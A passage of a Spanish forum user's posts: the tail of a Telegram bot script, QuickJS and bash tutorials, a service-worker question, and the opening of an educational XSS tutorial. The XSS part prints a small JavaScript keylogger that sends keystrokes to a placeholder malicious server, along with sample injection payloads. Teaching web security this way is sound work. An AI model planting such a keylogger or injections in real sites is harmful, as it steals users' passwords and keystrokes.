  121.        response = `Hola ${username} soy un bot escrito en javascript por @StringManolo.`;
  122.      break;
  123.  
  124.      case "adios":
  125.      case "chao":
  126.        response = `Un placer ${username}! Qué vaya bien.`;
  127.      break;
  128.  
  129.      default:
  130.        response = `No se que significa ${recv}...`;
  131.    }
  132.  
  133.  }
  134.  
  135.  if (response) {
  136.    cli.v && console.log(`Respuesta: ${response}\n`);
  137.    let aux = `https://api.telegram.org/bot${cli.token}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(response)}`;
  138.    run(`curl "${aux}" --silent`);
  139.  }
  140. }
  141.  
  142.  
  143. let lastId = 0;
  144. for (let i in apiJson.result) {
  145.  if (apiJson.result[i].message &&
  146.  apiJson.result[i].message.text &&
  147.  apiJson.result[i].update_id &&
  148.  apiJson.result[i].message.from.username &&
  149.  apiJson.result[i].message.chat.id) {
  150.    let text = apiJson.result[i].message.text;
  151.    let updateId = apiJson.result[i].update_id;
  152.    let username = apiJson.result[i].message.from.username;
  153.    let chatId = apiJson.result[i].message.chat.id;
  154.    lastId = updateId;
  155.    process(text, username, chatId);
  156.  }
  157. }
  158.  
  159. let borrarMensajesApi = () => {
  160.  run(`curl https://api.telegram.org/bot${cli.token}/getUpdates?offset=${+lastId + 1} --silent`);
  161. }
  162.  
  163. borrarMensajesApi();
  164. cli.v && console.log("Bot process end");
  165. }
  166.  
  167. let i = 0;
  168. for (;;) {
  169.  cli.v && console.log(`Running bot for the ${++i}° time.`);
  170.  bot();
  171.  cli.v && console.log(`Waiting ${(cli.wait || 20)} seconds to save resources.`);
  172.  os.sleep( (cli.wait || 20) * 1000);
  173. }
15  Programación / Desarrollo Web / Tutorial básico de Quickjs en: 9 Enero 2021, 03:38 am
Tutorial básico de quickjs.

Qué es:
Quickjs es un entorno de ejecución (motor) de javascript que cumple en gran medida con el estandar de javascript.

Sirve para interpretar, ejecutar o compilar codigo javascript.


Cómo se compara a Node.js y a Chrome:
Quickjs es mucho más pequeño que node o v8. Se ejecuta de forma rápida sin esperar al cargar scripts y ocupa poco espacio, lo que lo hace ideal para crear pequeños scripts y utilidades para la consola de comandos de Linux, Windows o Termux.
                                                     
Como se instala:
Puedes descargarlo de su página oficial, de github y compilarlo o utilizando apt-get install quickjs


A parte del javascript estandar que más trae:
Trae 2 librerías preinstaladas que podemos importar. std y os.
La librería std trae varias funciones del lenguaje de C y la librería os trae hilos, funciones para abrir procesos, y varias utilidades.


Al lio:
holaMundo.js
Código
  1. console.log("Hola mundo");

Puedes ejecutarlo con el comando qjs holaMundo.js
También puedes compilarlo con qjsc -o holaMundo holaMundo.js


correrCualquierComando.js
Código
  1. import * as std from "std";
  2. let run = comando => {
  3.  let prog = std.popen(comando, "r");
  4.  let r, msg = "";
  5.  while ((r = prog.getline()) != null) {
  6.    msg += r + "\n";
  7.  }
  8.  return msg;
  9. }
  10.  
  11. console.log( run("ls") );
  12. console.log( run("ls && pwd") );


generadorDeArchivos.js
Código
  1. import * as std from "std";
  2. console.log(`Generador de archivos 2021
  3.  
  4. Genera el esqueleto de archivos para no tener que escribir a mano partes recurrentes de archivos comunes.
  5.  
  6.  
  7. 1. Proyecto HTML
  8. 2. Reporte de Seguridad
  9.  
  10. Selecciona el número correspondiente a la opción que deseas.`);
  11.  
  12. let opcionUsuario = +std.in.getline();
  13.  
  14. if (opcionUsuario === 1) {
  15.  let fd = std.open("index.html", "w");
  16.  fd.puts(`<!DOCTYPE html>
  17. <html lang="en">
  18.  <head prefix="og:http://ogp.me/ns#">
  19.    <meta charset="utf-8">
  20.    <link rel="icon" href="data:;base64,iVBORw0KGgo=">
  21.    <title>Index.html</title>
  22.    <!--
  23.      <meta property="og:type" content="website">
  24.    -->
  25.    <link rel="stylesheet" href="./code.css">
  26.    <meta name="theme-color" content="#ffffff">
  27.  </head>
  28.  
  29.  <body>
  30.  
  31.  
  32.    <script src="./main.js"></script>
  33.  </body>
  34. </html>`);
  35.  fd.close();
  36.  
  37.  fd = std.open("main.js", "w");
  38.  fd.close();
  39.  
  40.  fd = std.open("code.css", "w");
  41.  fd.puts(`body {
  42.  margin: 0 0 0 0; /* Remove ugly left side border */
  43.  text-size-adjust: none; /* Fix Android Big Text */
  44.  text-rendering: optimizeLegibility; /* Improve text */
  45. }
  46.  
  47.  /* Media query */
  48.  @media (min-width: 0px) and (orientation:landscape) {
  49.  body {
  50.    font-size: 1.1vw;
  51.  }
  52. }`);
  53.  fd.close();
  54. } else if (opcionUsuario === 2) {
  55.  console.log("Esta opción se programará en el futuro");
  56. }



scraper.js
Código
  1. import * as std from "std";
  2.  
  3. let run = comando => {
  4.  let prog = std.popen(comando, "r");
  5.  let r, msg = "";
  6.  while ((r = prog.getline()) != null) {
  7.    msg += r + "\n";
  8.  }
  9.  return msg;
  10. }
  11.  
  12. let getTargetAndSelector = () => {
  13.  let returnValues = {};
  14.  for(let i in scriptArgs) {
  15.    if (scriptArgs[i] == "-t" || scriptArgs[i] == "--target") {
  16.      returnValues.target = scriptArgs[+i+1];
  17.    } else if (scriptArgs[i] == "-s" || scriptArgs[i] == "--selector") {
  18.      returnValues.selector = scriptArgs[+i+1];
  19.    }
  20.  }
  21.  if (returnValues.target && returnValues.selector) {
  22.    return [returnValues.target, returnValues.selector];
  23.  } else {
  24.    throw `Usage:
  25. -t  --target  Url to download
  26. -s  --selector Selector to use
  27.  
  28. Example: qjs scraper.js -t https://example.com -s h1`;
  29.  }
  30. }
  31.  
  32.  
  33. let result = run(`curl ${getTargetAndSelector()[0]} -A "Mozilla/5.0" --silent | pup ${getTargetAndSelector()[1]}`);
  34. console.log(result);

Puedes compilarlos y meterlos en bin y darle permisos para usarlos como cualquier otro comando sin necesidad de estar en la misma carpeta que el código.
qjsc -o scraper scraper.js && cp scraper ~/../usr/bin/ && chmod +775 ~/../usr/bin/scraper
scraper -t https://example.com -s a



Documentación Official Quickjs: https://bellard.org/quickjs/quickjs.html


Documentación Herramienta Pup para usar selectores en la linea de comandos: https://github.com/ericchiang/pup
16  Sistemas Operativos / GNU/Linux / [Tutorial] Comandos De Linux (Bash) en: 16 Diciembre 2020, 17:31 pm
Tutorial Terminal de Linux (bash)





1. Qué es la terminal.





2. Para qué sirve?





3. Cómo se usa?





4. Ejemplos de uso básico.

      - sudo su
      - pwd
      - ls
      - cd
      - mkdir
      - apt-get
      - vim
      - cat
      - cp
      - rm
      - mv
      - touch
      - clear
      - man





5. Utilidades Comunes.

      - curl
      - chmod
      - tree
      - nmap
      - ncat
      - df
      - free
      - ps
      - kill
      - uname
      - top
      - ifconfig




6. Bash.





7. Pipes/Tuberias.

      - grep
      - less
      - head
      - tail
      - wc





La terminal es la consola de comandos de Linux. Una interfaz que te permite utilizar un montón de programas en forma de comandos. Una de las partes más potentes de un sistema Linux es la terminal.





Con la terminal puedes usar un montón de programas para realizar tareas de todo tipo de forma ágil y sencilla. Crear archivos, modificar ajustes, descargar programas... Utilizando la terminal podrás acelerar y automatizar todo tipo de tareas. Muchas de las herramientas y software más útil y potente se encuentra en forma de programa cli (command line interface). 






Para utilizarla solo tienes que escribir el comando que quieras. Pudes pasarle argumentos al comando.





$ sudo su
El primer comando que debes conocer es sudo su. Te preguntará cual es tu usuario del sistema y tu contraseña. Escribes y presionas enter. A partir de este momento pasas a ser root en esta terminal. Es decir, usuario con privilegios para ejecutar todo tipo de comandos.

$ pwd
Este comando son las siglas de print working directory (en español mostrar directorio actual). Nos sirve para conocer la carpeta en la que estamos actualmente. En mi caso al escribir el comando, me sale: /home
En Linux Ubuntu (Así como otros Linux con interfaz gráfica) si haaces click derecho en una carpeta te saldrá la opción de "open terminal here" que te abrirá la terminal en la carpeta en la que estás.

$ ls
Este comando permite listar (mostrar la lista) los archivos de la carpeta en la que estás actualmente.
Por ejemplo si estás en /home te saldrá una lista de los archivos que tienes en /home.

$ cd
Este comando te deja cambiar el directorio actual. Tienes que añadir en el comando el directorio al que entrar. Por ejemplo si tienes una carpeta llamada Tutoriales dentro de /home y estás en /home, podrás entrar en la carpeta con el comando $ cd Tutoriales
Si vuelves a utilizar $ pwd verás que ahora estás en /home/Tutoriales. Para volver a la carpeta anterior puedes usar $ cd ../
Si te pierdes por las rutas(carpetas), hay un símbolo especial para ir siempre a /home sin importar donde estés actualmente. $ cd ~

$ mkdir
El comando mkdir (make directory) sirve para crear una nueva carpeta como subdirectorio de la carpeta actual donde te encuentras. Puedes irte a home, crear la carpeta Tutoriales en /home y listar los archivos dentro de home para confirmar que la carpera existe.
$ cd ~
$ mkdir Tutoriales
$ ls


$ apt-get
El comando apt-get te permite instalar y desintalar programas/comandos nuevos. El editor de texto en consola vim es de los mas potentes. Para instalarlo $ apt-get install vim
Si te pide confirmación escribe y (i griega) y presiona enter.

$ vim miArchivo.txt
Con el comando vim miArchivo.txt se creará un nuevo archivo de texto en la ruta actual y se abrirá el editor de texto en modo lectura. Antes de hacer nada más, abajo del todo puedes leer "miArchivo.txt" [New File]. Para entrar en modo escritura pulsa la tecla i
Entonces cambiará el texto a -- INSERT -- indicando que estas en modo escritura y puedes insertar texto en el archivo.
Prueba a escribir Este texto está dentro de miArchivo.txt
Una vez acabas de escribir presionas la tecla ESC para salir del modo escritura. Ahora para guardar los cambios y salir escribes :x
Presionas enter y ya vuelves a donde estabas, con el archivo creado. Si no quieres guardar los cambios puedes escribir :q! en lugar de :x

$ cat
El comando cat sirve para poder ver en la consola el contenido de un archivo. Prueba a hacer cat de algún archivo que tengas en wl directorio actual o alade la ruta al argumento. $ cat miArchivo.txt

$ cp
El comando cp (copy) sirve para copiar y pegar un archivo. El primer argumento es el archivo que quieres copiar y el segundo el nombre que quieres que tenga el archivo pegado.
Creaste el archivo miArchivo.txt asique puedes escribir $ ls para ver si te sale en la carpeta actual. Si estabas en /home, puedes copiarlo también a Tutoriales. $ cp miArchivo.txt /Tutoriales/copiaDeMiArchivo.txt
Si ahora te mueves dentro de la carpeta Tutoriales y utilizas el comando ls, podrás ver el archivo creado.

$ rm
El comando rm (remove) sirve para eliminar un archivo. Usa $ ls para listar los ficheros que tienes, así sabes el nombre exacto. La tecla TAB sirve para que la consola te autocomplete el comando. Por ejemplo el archivo copiaDeMiArchivo.txt tiene un nombre bastante largo. Como es un nombre único puedes escribir $ rm copi y presionar TAB para que la consola te ponga todo el nombre del archivo.

$ mv
El comando mv (move) funciona exactamente de la misma forma que $ cp pero en lugar de copiar el archivo lo mueve.

$ touch
El comando touch sirve para crear un archivo vacio.
$ touch archivoVacio

$ clear
El comando clear limpia la pantalla.

$ man
El comando man sirve para ver todas las opciones de cualquier comando. Por ejemplo, si quieres ver para que sirve el comando ls y todas las opciones que tiene, puedes usar $ man ls. Si lees lo que te salen en el manual de ls, verás que existe una argumento --full-time te saldrá la fecha de creacción de los archivos. $ ls --full-time
Se mostrará en consola algo tal que:
-rw------- 1 u0_a04 u0_a04 34 2020-12-15 16:58:47.410789029 +0100 miArchivo.txt

-rw Son los permisos del archivo (r read lectura) (w write escritura)
u0_a04 es el nombre de mi usuario en el sistema.
2020-12-15 es el año, mes y día de creacción del fichero.
16:58:47:410789029 es la hora en la que se creo el archico.
+0100 es el la zona (+0100 es España Península).

Extra:
- A parte de.poder usar man, los propios comandos suelen traer un argumento para poder ver su manual propio.
Este suele ser --help
$ ls --help

- Puedes navegar por todos los comandos que escribiste usando las flechas del teclado arriba y abajo.





Existen un gran número de comandos con muchísimas opciones. Algunos de ellos suelen venir instalados por defecto en Linux y otros tendras que instalarlos si te interesa usarlos.

$ curl
curl es un cliente de unos 25 protocolos de internet. Uno de los más utilizados es el protocolo HTTP, el mismo que utilizan los navegadores como Chrome o Mozilla para solicitar y recibir páginas web, imagenes, etc.
Si no conoces el protocolo, el uso basico del comando será escribir $ curl https://example.com para ver el código de la página. Si no entiendes html, algunas páginas traen apis para poder ver ciertas acciones de forma muy sencilla. Si ir mas lejos el propio foro tiene este tipo de funcionalidad:
$ curl https://foro.elhacker.net/SSI.php?ssi_function=whosOnline
El comando tiene muchísima funcionalidad, por ejemplo podrías descargar una imagen (o cualquier otro archivo) con el argumento -o $ curl https://foro.elhacker.net/Themes/converted/selogo.jpg -o selogo.jpg

$ chmod
chmod sirve para cambiar los permisos de un archivo. Si por ejemolo te descargas un programa, lo compilas a partir de código o lo haces tú, podras darle permisos con $ chmod +775 nombrePrograma.

$ tree
El comando tree muestra todo los subdirectorios y archivos de forma gerárgica. Un ejemplo de la salida en consola de hacer tree a mi carpeta home.
$ tree ~
.
├── Myszkowski.py
├── Tutoriales
│   └── miArchivo.txt
├── alb
├── deleteMe
│   └── album.py
├── exploitdb.txt
├── installed.txt
├── maInstalled.txt
├── req
├── request
└── storage
    ├── dcim -> /storage/emulated/0/DCIM
    ├── downloads -> /storage/emulated/0/Download
    ├── external-1 -> /storage/445A-5BC1/Android/data/com.termux/files
    ├── movies -> /storage/emulated/0/Movies
    ├── music -> /storage/emulated/0/Music
    ├── pictures -> /storage/emulated/0/Pictures
    └── shared -> /storage/emulated/0

10 directories, 9 files

tree no suele venir instalado asique debes instalarlo con $ apt-get install tree

$ nmap
Nmap es uno de los scanneres de redes más popular. Nos sirve para averiguar que servicios están disponibles en una red. No viene preinstalado pero es muy útil y al descargarlo también incluye otro comando llamado ncat para comunicarte por la red o establecer servicios. Como siempre instálalo con $ apt-get install nmap

Por ejemplo si utilizas el comando $ nmap google.com obtendras una salida tal que:
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 19:26 CET
Nmap scan report for google.com (216.58.201.174)
Host is up (0.11s latency).
Other addresses for google.com (not scanned): 2a00:1450:4003:802::200e
rDNS record for 216.58.201.174: mad08s06-in-f14.1e100.net
Not shown: 998 filtered ports
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 114.64 seconds

Como ves a parte de mostrar la IPv4, la IPv6 y un dominio que resuelve a la ip, muestra los puertos abiertos. En este caso en concreto está el puerto 80 abierto (El servicio que te responde la web de google usando HTTP) y el puerto 443 (El mismo servicio que el 80 pero establece una capa de cifrado sobre http (https))
Son los servicios que usa Chrome cuando escribes http://google.com y https://google.com respectivamente.
A parte de estos servicios hay un montón más como pueda ser un servidor de correos, un vpn, un proxy, un ftp, un ssh, un dns...

$ ncat
Ncat es la herramienta rey para escribir datos a través de todo tipo de redes. Con esta herramienta puedes obtener o enviar una página web, subir o descargar archivos entre equipos, hacer chats... En el apartado de pipes/tuberias de este tutorial se verá su uso, ya que el uso de pipes es prácticamente impresindible.

$ df
df (disk free) muestra información sobre el espacio en todos los sistemas de ficheros de Linux.

$ free
free muestra información sobre la cantidad de memoria RAM disponible y también información del pagefile (archico que utiliza el sistema cuando no queda RAM). Con el argumento -m se muestra en megabytes.

$ ps
ps muestra los procesos activos. PID es un numero para que podamos identificar el proceso. TTY es un identificador de la consola en la que está funcionando el comando. TIME es el tiempo que lleva abierto el proceso. CMD es el nombre del ejecutable o comando que abrió el proceso. Uno de los argumentos mas útiles es -a para mostrar todos los procesos.

$ kill
kill sirve para matar un proceso activo usando su PID. Por ejemplo si tiene vim abierto y se quedó congelado por un error, podrías cerrarlo listando el proceso con ps y usando el comando $ kill 2277 donde 2277 es el PID que mostró ps.

$ uname
uname muestras diversa información sobre el sistema. Procesador, arquitectura, fecha...

$ top
Muestra información sobre tareas, procesos, recursos...
*Algunos comandos se mantienen abiertos. Puedes cerrar este tipo de comandos usando la combinación de teclas control + C o si no funciona, control + D.

$ ifconfig
Muestra las interfaces de red del sistema.




Bash es un lenguaje de programación/scripting simple recomendado para hacer tareas muy simples y rápidas, sobre todo para arrancar programas con configuraciones específicas, hacer pequelas utilidades, etc.
El lenguaje funciona directamente sobre la terminal como si de un comando se tratase, o se puede guardar en un archivo.
El programa más sencillo de bash, sería un programa que diga hola. $ echo "Hola!"
No muy útil, pero puedes guardar información en variables.
$ nombre=Manolo; echo "Hola $nombre";
Combinando algunos de los comandos anteriores con bash, puedes pir ejemplo guardar tu ip en una variable.
$ ip=$(curl http://ipv4bot.whatismyipaddress.com/)
Ahora podrás ver la ip guardada a partir de ahora con $ echo $ip o añadirle un texto: $ echo "Tu ip pública es:$ip"A partir de ahora podrás usar la variable en todos tus programas y comandos donde lo necesites.
Como ves, cuando curl no muestra la información directamente en consola, en su lugar te muestra un progreso. Lo puedes ocultar añadiéndole un argumento:
$ ip=$(curl http://ipv4bot.whatismyipaddress.com/ --silent); echo $ip
Puedes meter varios comandos o lineas de bash separándolas por punto y coma.
Puede que queramos guardar y ejecutar un comando/instrucción, o una serie de comandos (programa) de forma sencilla y sin tener rescribirlos todos. Podemos usar vim para guardarlos. Vamos a hacer una utilidad sencilla que nos muestre la ip actual.
Los comandos y utilidades que hemos estado usando, apt-get install se encargó de meterlas en una carpeta en la ruta bin/ asique podemos movernos ahí, crear nuestro programa y darle permisos. $ cd ~/../usr/bin/; vim miIp; chmod +775 miIp
Presionamos i para escribir en el nuevo archivo. En la primera linea añadiremos un shebang. Esta es una linea para indicar que las instrucciones de este archivo van a correr en el intérprete de bash. #!/bin/bash
En las siguientes lineas podemos añadir comandos e instrucciones como si se tratase de la terminal:
curl http://ipv4bot.whatismyipaddress.com --silent
echo ""
Guardas el archivo con la secuencia ESC :x
El echo "" sirve para hacer un salto de línea tras que curl imprima la ip.
Ya puedes usar este nuevo comando cuando quieras y desde donde quieras escribiendo $ miIp
Usa $ ls para ver todos los comandos que tienes instalados en bin
Tienes mas funcionalidad de bash en el siguiente enlace:
https://zhenye-na.github.io/2018/10/10/learn-shell-scripts-in-15-min.html
Es un buen lenguaje para tareas muy sencillas y básicas. Si buscas algo mas eficiente, sencillo y completo tienes una amplia varieadad de lenguajes de programación.v





Las tuberías nos permiten redirigir la salida de los comandos y/o sus errores a la entrada de otros comandos. Existen varios caracteres que sirven para conectar comandos.
Un ejemplo de los más básicos es enviar la salida de un comando a un archivo. $ miIp > miIp.txt
Con > se envia la salida del comando a un nuevo archivo. Si el archivo ya existia se elimina. Si no existía se crea.
Si en lugar de borrar el archivo, quieres añadirle la salida del comando puedes usar >>. $ echo "Mi ip es " >> miIp.txt; miIp >> miIp.txt;
También puedes usar < y << para meter input a tu comando de otro lado, por ejemplo de un archivo.
Cuando usamos los comandos separados por ; se ejecutan de forma independiente. Esto nos podría generar un problema si por ejemplo corres un comando que depende de que el anterior funcionase. Para eso puedes separalos por && en lugar de ;
Otro carcater muy útil es | que sirve para pasar el output entre comandos. Existen múltiples utilidades diseñadas para trabajar con el |. Algunas de ellas:

grep
Este comando permite filtrar la salida de otro comando. Por ejemplo imagínate visitas mi página web y ves que el servidor va muy rápido y te interesa saber que servidor uso. $ curl https://stringmanolo.ga --silent -I | grep -i SERVER
La opción -I de curl es para ver las cabeceras que manda el servidor. La opción -i de grep es para hacer la búsqueda case-insensitive. Esto siginifica que se mostratan todas las líneas que tengan la palabra server independientemente de si server empieza por mayúsculas o no.

less
Este comando te permite abrir la salida del comando como si fuese un archivo. Es útil para cuando un comando envía más información de la que entra en la consola. $ netstat | less

head
Este es útil para cuando solo te interesa mostrar un numero de lineas. Por defecto solo muestra las primera 10, pero puedes cambiarlo con el argumento -n o tambien con el argumento -c el numero de caracteres de la línea. Por ejemplo si quisieses comprobar si alguien ha escrito algo nuevo en la sección de hardware. $ curl https://foro.elhacker.net/SSI.php?ssi_function=recentPosts --silent | grep -i hardware/ | head -n 1

tail
Hace los mismo que head, pero funciona de abajo hacia arriba, es decir muestra los últimos 10 en lugar de los primeros 10.

wc
wc muestra las lineas, palabras o caracteres que se le pasen. Si lo utilizas sin argumentos te mostrará las 3 cosas. Pudes añadirle -l -w o -c para que solo muestra las letras, palabras o caracteres respectivamente. $ echo "Hola qué tal?" | wc
17  Programación / Desarrollo Web / Problema con archivos cacheados con Service Workers en javascript.[SOLUCIONADO] en: 22 Octubre 2020, 21:48 pm
Me surge un problema raro. A ver si teneis idea.

Tengo una función que cachea todos los archivos de la web.

Le añadí un parámetro TTL (Time To Live) para poder indicarle cuando tiempo se quiere que el caché esté activo.

Lo que hago es guardar la fecha (en localStorage)  actual en segundos y sumarle el TTL.

Entonces comparo la fecha actual con la fecha guardada en localStorage para saber si el caché expiró.

El problema surge que una vez que cacheo en el navegador los archivos de la web, la comprobación no se ejecuta. De ejecutarse, se vería que ya pasó el tiempo indicado en TTL en milisegundos (le puse 100000 que equivale a minuto y medio). Y al pasar ese tiempo el código borra el cache y resetea el localStorage para que en la siguiente carga se vuelve a cachear todo de nuevo. (Mi intención es que el caché se renueve tras el tiempo pasado por si existen nuevos cambios.)

Está aquí live:
https://fastframework.stringmanolo.ga/dev/index.html

A ver si teneis idea. Una vez cacheado no muestra el mensaje.

Aquí se hace la llamada con el nombre del ServiceWorker y el tiempo que quiero cachear en segundos:
https://github.com/StringManolo/ff/blob/master/dev/main.js#L205

Nada más ejecutarse la llamada debería correr el alert en esta línea:
https://github.com/StringManolo/ff/blob/master/dev/ff.js#L46
Pero no salta el alert una vez cacheada la web.

Resumiendo: Tras la segunda vez que cargas la web debería mostrar el alert que está en las primeras lineas de main.js y no lo muestra. Pero si funciona la web. Wtf?
Si es culpa de los service workers(diría que no porque corren en otro hilo, no en el mismo que el main.js) probé también comentando todos los alerts y sigue sin ir.

Tengo un script en main.js que funciona sin cachear la web, pero con la web cacheada no me funciona el script que comprueba si ya pasó el tiempo que debería estar en caché (y por tanto borrarla)

Asique el problema que tengo es que no puedo borrar el caché del navegador desde la última linea de código de main.js que llamada a iniciar el caché.
En ff.js es cuando debería eliminarse el caché y poner localStorage.cacheTTL = 0; pero este script no va y ni idea de porque no.


SOLUCIÓN: Borrar "bien" el caché del navegador, localStorage y quitar del registro el ServoceWorker.

Habilitar CORS para que se puedan fechear los archivos a cachear en el propio dominio.
18  Seguridad Informática / Nivel Web / Security Series. XSS. [Cross Site Scripting] en: 19 Octubre 2020, 03:19 am
Security Series por StringManolo.

CAPITULO 1: XSS.

0. Previo:
Cross Site Scripting consiste en la inyección de código javascript en una página web para vulnerar su seguridad. En estas series pretendo mostrar varias formas de explotación de fallos de seguridad, a buscarlos, redactar reportes, construir pruebas de concepto y sobre todo que todos podamos aprender algo nuevo.

   • Para aprovechar el primer capítulo de estas series debes tener conocimientos básicos-intermedios de las tecnologías web básicas.
     Como mínimo HTML, javascript y el protocolo HTTP.
     Altamente recomendado tener nociones de DNS y servidores web...
     Si no tienes la mayoría de conocimientos citados pero estás interesado en adquirirlos te recomiendo:
     Buscar y preguntar por el foro.
     Los cursos/tutoriales de w3schools sobre html, javascript y php.
     Montarte un LAMP para subir tu web, hacerla pública y capturar las peticiones http. Jugar con ellas, mirarte un poco el tema...

   • No quiero limitarme a cosas básicas, pero tampoco entrar de golpe con cosas complejas. Si eres un usuario avanzado te recomiendo echar un ojo y enganchar con las cosas que no conozcas.

   • El nivel general de este capítulo es básico-intermedio.

   • Se recomienda el uso de Google Chrome última versión (no es estrictamente necesario) .

   • Se recomienda tener un servidor propio para experimentar. (Tampoco es estrictamente necesario) .

   • Estas series se dividen en Capítulos y Secciones. Todas son independientes pero secciones avanzadas seguramente hagan referencia a conceptos explicados anteriormente.

   • La páginas vulnerables que comiencen por el dominio https://stringmanolo.ga/xssSeries/ las hice yo y teneis permiso para atacarlas directamente y probar lo que querais a mano. Tampoco deberíais tener ningún problema por utilizar scanneres y herramientas similares. Si teneis dudas sobre esto, también es posible descargarse los retos para probarlos en local, ya que están subidos a github.



1. Qué es el XSS?
El XSS (inyección de código javascript en otros sitios) es la inclusión de código javascript en aplicaciones, webs, documentos... con capacidad de interpretarlo.
Ejemplo de un script/codigo javascript, alert("hola") que muestra un mensaje en pantalla.
Adelante pruébalo en una página vulnerable.

En cambio si la página es segura verás que no es vulnerable.

Como puedes comprobar, si la página está mal programada puedes ejecutar código en ella. Qué riesgos implica esto a parte de ver una ventana con un mensaje?

Si existe una vulnerabilidad XSS, se puede inyectar código en la página para que se ejecute en un navegador o en el de miles de usuarios.
Un keylogger (registra las teclas que pulsas durante tu estancia en la web) en javascript se escribe en pocas líneas de código.
Código
  1. /* Keylogger (Android-IOS support) */
  2. function keylogger() {
  3.  var logs = "Keys:";
  4.  var i = 0;
  5.  window.onkeydown = function(e) {
  6.    if (i++) {
  7.      logs = "Key_Id=" + event.target.value.charAt(event.target.selectionStart -1).charCodeAt() + "KeyChar=" +
  8.                event.target.value.charAt(event.target.selectionStart -1) + "\n\n" ;
  9.      new Image().src = servidorMalicioso + idCliente + "/" + "keylogs=" + logs;
  10.    }
  11.  }
  12. }
Esto implica que si un login es vulnerable a XSS pueden robar tus contraseñas. No solo se aplica a webs clásicas, si no a todo tipo de aplicaciones.
Teniendo presente que la mayoría de sitios webs se alojan en los servidores de las mismas empresas, es una técnica totalmente transparente para un usuario normal. No va a observar nada que pueda diferir de lo usual.
Son comunes también redirecciones a publicidad, timos, defacements, denegaciones de servicio...



2. Cómo sé cuando una página es vulnerable?
Existen varias técnicas y depende de las circunstancias.
En el caso de que seas un programador novicio preocupado por la seguridad de tu sitio web. Tu mejor baza es compartir el código en el foro para que te podamos ayudar.
Cabe mención aquí de herramientas como ZAP (aquí online). Si lo vas a usar, hazlo con mi dominio https://stringmanolo.ga. No scannes sitios sin permiso.
Hay escaners de todo tipo. Así como pueden hallar vulnerabilidades que personas no, también pueden pasar por alto puntos de inyección muy obvios. Alguien con alguna experiencia los puede localizar en segundos.
Si estás aprendiendo seguridad no hay nada mejor que introducir el código en la aplicación y analizar el código fuente usando la función inspeccionar elemento usando el navegador.
En sistemas Android, se puede observar el código fuente precediendo con view-source: la dirección; y/o utilizando javascript: seguido de código javascript.
Para verificar el fallo de seguridad se introduce un alert() debido a que es fácil identificar la inyección de código al mostrarse el mensaje indicado en pantalla. Cabe la posibilidad de que en el propio código de la página esten desabilitados.
Es este tu caso? Prueba a escribir a mano javascript:alert(); sobre la barra de direcciones. Si no funciona, puedes modificar el código de la página con el código inyectado para demostrar la vulnerabilidad.
 
 
 
3. Qué tipos de XSS existen?
Se distinge entre 3 tipos. Esta manera de distinguir se basa en si los datos proporcionados por el usuario son almacenados en la aplicación, son reflejados o se ejecutan directamente en el cliente.
Yo añado dos tipos más, son estos los que; o bien son modificados por el navegador, o los que se hace uno sobre si mismo (teniendo o no consciencia de ello).



4. Introdución a los tipos de XSS.

   • Stored XSS (inyección javascript almacenada en sitios cruzados).
Es común que las aplicaciones almacenen datos cuyo origen eres tú. Véanse nombre de usuario, correo eléctronico, ubicación...
En el supuesto que consigas introducir código en tu nombre de usuario que el navegador interprete, todos los demás usuarios interpretarán el código en lugar de visualizar tu nombre de usuario. Quedan entonces subvertidos todos los navegadores mientras permanezcan en la página que incluye tu inyección de código.
Observa aquí una simulación de Stored XSS
Puedes explotarlo registrándote con un nombre y añadiendo <svg onload=alert()> como payload que inserta un elemento SVG que mediante el evento onload llama al código javascript abriendo la ventana.
 
   • Reflected XSS (inyección javascript reflejada en sitios cruzados).
Cuando una página hace una operación y muestra de vuelta la información, es posible conseguir una inyección de javascript reflejada.
Las características principales de este fallo de seguridad son que; este fallo NO se incluye en la página permanentemente y que este fallo se genera como respuesta a una petición/acción que realizas sobre la propia página.
Si no realizas esa acción, no verás tu código javascript en la página. Aqui te ofrezco una simulación de Reflected XSS.
Puedes apreciar que en la URL va incluido #/search?q=<img onerror=confirm() src=nada>. Si haces la búsqueda de <img onerror=confirm() src=nada > en google, verás algo muy similar.
Directamente puedes escribir la búsqueda en la url de la siguiente forma: https://google.com/search?q=<img onerror=confirm() src=nada>. La q después de search es un parámetro http. Cuando el servidor crea el código, refleja(escribe) ese parámetro dentro de la página.
Si no se modifica el parámetro para que no se ejecute el código (google si lo hace) entonces el código es ejecutado.
Si bien el Stored XSS es un fallo que puede afectar a miles de usuarios al incluirse el código inyectado al visitar la página (no requiere que el usuario introduzca código) el reflected también es también peligroso dado que se puede explotar desde una segunda página web rediriguiendo a los usuarios pudiendo dar más control a un hipotético actor malientencionado.
Este fallo no solo se puede explotar mediante una url (usuarlmente petición http con método GET), si no que también se puede explotar utilizando el método POST rediriguiendo al usuario de la aplicación al enviar este un formulario con el código al sitio web vulnerable.
 
   • DOM XSS (inyección javascript sobre el documento)
Las inyecciones javascript en el DOM son aquellas que se ejecutan directamente sobre la página y no requieren de que un servidor procese, envíe o incluya la inyección.
Incluso a usuarios con nivel intermedio les resulta problemático comprender este tipo de XSS. Todas las páginas vulnerables que has visto hasta ahora, son en realidad DOM XSS. En ningún momento la información que has enviado a las páginas llegó al servidor porque son fallos emulados.
Todo el código que les "enviastes" a sido procesado por código javascript que ya estaba en la página.
En la primera página en la que escribiste alert(), una función llamada eval ejecutó tu código.
En la segunda página vulnerable el código se almacenó en tu navegador, cuando volviste a cargar de nuevo la página, fue el código javascript de la página (no el servidor) el que mete el que incluye código en la página para que el navegador lo ejecute.
En la tercera página vulnerable es el código javascript el que lee la barra de direcciones y mete en la página el la url después del =.
En casos reales de Stored XSS la información se guarda en el servidor y todo el mundo puede verla. Y en el caso real de Reflected XSS es el servidor quien envía el código reflejado.
Como los DOM XSS se ejecutan utilizando el código ya existente de la página sin interacturar con el servidor, son fallos muy peligrosos porque el dueño de la página no tiene forma de registrar lo que pasa. Para aprovechar este fallo es necesario conocer los sink (funciones y propiedades del DOM) que lo permiten. Algunos de los más comunes son innerHTML y outerHTML, eval, location y document.cookie.
 
   • Self XSS (ejecución de javascript sobre si mismo)
Divido el self xss(inyección a uno mismo) en 2. El self XSS consciente, y el self XSS inducido.
